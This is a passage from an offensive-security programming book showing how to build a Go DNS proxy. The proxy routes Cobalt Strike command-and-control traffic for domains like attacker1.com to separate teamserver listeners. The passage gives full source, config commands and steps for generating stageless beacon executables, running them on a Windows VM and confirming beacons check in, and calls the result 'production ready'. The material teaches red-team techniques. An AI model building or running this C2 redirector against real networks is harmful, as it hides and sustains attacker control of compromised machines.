Your handler function could be written to handle attacker1.com and attacker2.com as static values, but that’s not maintainable. Instead, you should look up records from a resource external to the program, such as a database or a configuration file. The following code does this by using the format of domain,server, which lists the incoming domain and upstream server separated by a comma. To start your program, create a function that parses a file containing records in this format. The code in Listing 5-6 should be written into a new file called main.go.

   package main

   import (
       "bufio"
       "fmt"
       "os"
       "strings"
   )

 func parse(filename string) (map[string]string, error) {
       records := make(map[string]string)
       fh, err := os.Open(filename)
       if err != nil {
           return records, err
       }
       defer fh.Close()
       scanner := bufio.NewScanner(fh)
       for scanner.Scan() {
           line := scanner.Text()
           parts := strings.SplitN(line, ",", 2)
           if len(parts) < 2 {
               return records, fmt.Errorf("%s is not a valid line", line)
           }
           records[parts[0]] = parts[1]
       }
       return records, scanner.Err()
   }

   func main() {
       records, err := parse("proxy.config")
       if err != nil {
           panic(err)
       }
       fmt.Printf("%+v
", records)
   }

Listing 5-6: Writing a DNS proxy (/ch-5/dns_proxy/main.go)

With this code, you first define a function that parses a file containing the configuration information and returns a map[string]string . You’ll use that map to look up the incoming domain and retrieve the upstream server.

Enter the first command in the following code into your terminal window, which will write the string after echo into a file called proxy.config. Next, you should compile and execute dns_proxy.go.

$ echo 'attacker1.com,127.0.0.1:2020
attacker2.com,127.0.0.1:2021' > proxy.config
$ go build
$ ./dns_proxy
map[attacker1.com:127.0.0.1:2020 attacker2.com:127.0.0.1:2021]

What are you looking at here? The output is the mapping between teamserver domain names and the port on which the Cobalt Strike DNS server is listening. Recall that you mapped ports 2020 and 2021 to port 53 on your two separate Docker containers. This is a quick and dirty way for you to create basic configuration for your tool so you don’t have to store it in a database or other persistent storage mechanism.

With a map of records defined, you can now write the handler function. Let’s refine your code, adding the following to your main() function. It should follow the parsing of your config file.

 dns.HandleFunc(".",func(w dns.ResponseWriter, req *dns.Msg) {
     if len(req.Question) < 1 {
           dns.HandleFailed(w, req)
           return
       }
     name := req.Question[0].Name
       parts := strings.Split(name, ".")
       if len(parts) > 1 {
         name = strings.Join(parts[len(parts)-2:], ".")
       }
     match, ok:= records[name]
       if !ok {
           dns.HandleFailed(w, req)
           return
       }
     resp, err := dns.Exchange(req, match)
       if err != nil {
           dns.HandleFailed(w, req)
           return
       }
     if err := w.WriteMsg(resp); err != nil {
           dns.HandleFailed(w, req)
           return
       }
   })
 log.Fatal(dns.ListenAndServe(":53", "udp", nil))

To begin, call HandleFunc() with a period to handle all incoming requests , and define an anonymous function , which is a function that you don’t intend to reuse (it has no name). This is good design when you have no intention to reuse a block of code. If you intend to reuse it, you should declare and call it as a named function. Next, inspect the incoming questions slice to ensure that at least one question is provided , and if not, call HandleFailed() and return to exit the function early. This is a pattern used throughout the handler. If at least a single question does exist, you can safely pull the requested name from the first question . Splitting the name by a period is necessary to extract the domain name. Splitting the name should never result in a value less than 1, but you should check it to be safe. You can grab the tail of the slice—the elements at the end of the slice—by using the slice operator on the slice . Now, you need to retrieve the upstream server from the records map.

Retrieving a value from a map can return one or two variables. If the key (in our case, a domain name) is present on the map, it will return the corresponding value. If the domain isn’t present, it will return an empty string. You could check if the returned value is an empty string, but that would be inefficient when you start working with types that are more complex. Instead, assign two variables: the first is the value for the key, and the second is a Boolean that returns true if the key is found. After ensuring a match, you can exchange the request with the upstream server . You’re simply making sure that the domain name for which you’ve received the request is configured in your persistent storage. Next, write the response from the upstream server to the client . With the handler function defined, you can start the server . Finally, you can now build and start the proxy.

With the proxy running, you can test it by using the two Cobalt Strike listeners. To do this, first create two stageless executables. From Cobalt Strike’s top menu, click the icon that looks like a gear, and then change the output to Windows Exe. Repeat this process from each teamserver. Copy each of these executables to your Windows VM and execute them. The DNS server of your Windows VM should be the IP address of your Linux host. Otherwise, the test won’t work.

It may take a moment or two, but eventually you should see a new beacon on each teamserver. Mission accomplished!

Finishing Touches

This is great, but when you have to change the IP address of your teamserver or redirector, or if you have to add a record, you’ll have to restart the server as well. Your beacons would likely survive such an action, but why take the risk when there’s a much better option? You can use process signals to tell your running program that it needs to reload the configuration file. This is a trick that I first learned from Matt Holt, who implemented it in the great Caddy Server. Listing 5-7 shows the program in its entirety, complete with process signaling logic:

package main

import (
    "bufio"
    "fmt"
    "log"
    "os"
    "os/signal"
    "strings"
    "sync"
    "syscall"

    "github.com/miekg/dns"
)

func parse(filename string) (map[string]string, error) {
    records := make(map[string]string)
    fh, err := os.Open(filename)
    if err != nil {
        return records, err
    }
    defer fh.Close()
    scanner := bufio.NewScanner(fh)
    for scanner.Scan() {
        line := scanner.Text()
        parts := strings.SplitN(line, ",", 2)
        if len(parts) < 2 {
            return records, fmt.Errorf("%s is not a valid line", line)
        }
        records[parts[0]] = parts[1]
    }
    log.Println("records set to:")
    for k, v := range records {
        fmt.Printf("%s -> %s
", k, v)
    }
    return records, scanner.Err()
}

func main() {
  var recordLock sync.RWMutex

    records, err := parse("proxy.config")
    if err != nil {
        panic(err)
    }

    dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) {
        if len(req.Question) == 0 {
            dns.HandleFailed(w, req)
            return
        }
        fqdn := req.Question[0].Name
        parts := strings.Split(fqdn, ".")
        if len(parts) >= 2 {
            fqdn = strings.Join(parts[len(parts)-2:], ".")
        }
      recordLock.RLock()
        match := records[fqdn]
      recordLock.RUnlock()
        if match == "" {
            dns.HandleFailed(w, req)
            return
        }
        resp, err := dns.Exchange(req, match)
        if err != nil {
            dns.HandleFailed(w, req)
            return
        }
        if err := w.WriteMsg(resp); err != nil {
            dns.HandleFailed(w, req)
            return
        }
    })

  go func() {
      sigs := make(chan os.Signal, 1)
      signal.Notify(sigs, syscall.SIGUSR1)

        for sig := range sigs {
          switch sig {
            case syscall.SIGUSR1:
                log.Println("SIGUSR1: reloading records")
             recordLock.Lock()
                parse("proxy.config")
              recordLock.Unlock()
            }
        }
    }()

    log.Fatal(dns.ListenAndServe(":53", "udp", nil))
}

Listing 5-7: Your completed proxy (/ch-5/dns_proxy/main.go)

There are a few additions. Since the program is going to be modifying a map that could be in use by concurrent goroutines, you’ll need to use a mutex to control access.1 A mutex prevents concurrent execution of sensitive code blocks, allowing you to lock and unlock access. In this case, you can use RWMutex , which allows any goroutine to read without locking the others out, but will lock the others out when a write is occurring. Alternatively, implementing goroutines without a mutex on your resource will introduce interleaving, which could result in race conditions or worse.

Before accessing the map in your handler, call RLock to read a value to match; after the read is complete, RUnlock is called to release the map for the next goroutine. In an anonymous function that’s running within a new goroutine , you begin the process of listening for a signal. This is done using a channel of type os.Signal , which is provided in the call to signal.Notify() along with the literal signal to be consumed by the SIGUSR1 channel, which is a signal set aside for arbitrary purposes. In a loop over the signals, use a switch statement to identify the type of signal that has been received. You’re configuring only a single signal to be monitored, but in the future you might change this, so this is an appropriate design pattern. Finally, Lock() is used prior to reloading the running configuration to block any goroutines that may be trying to read from the record map. Use Unlock() to continue execution.

Let’s test this program by starting the proxy and creating a new listener within an existing teamserver. Use the domain attacker3.com. With the proxy running, modify the proxy.config file and add a new line pointing the domain to your listener. You can signal the process to reload its configuration by using kill, but first use ps and grep to identify the process ID.

$  ps -ef | grep proxy
$  kill -10 PID

The proxy should reload. Test it by creating and executing a new stageless executable. The proxy should now be functional and production ready.

Summary

Although this concludes the chapter, you still have a world of possibilities for your code. For example, Cobalt Strike can operate in a hybrid fashion, using HTTP and DNS for different operations. To do this, you’ll have to modify your proxy to respond with the listener’s IP for A records; you’ll also need to forward additional ports to your containers. In the next chapter, you’ll delve into the convoluted craziness that is SMB and NTLM. Now, go forth and conquer!

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset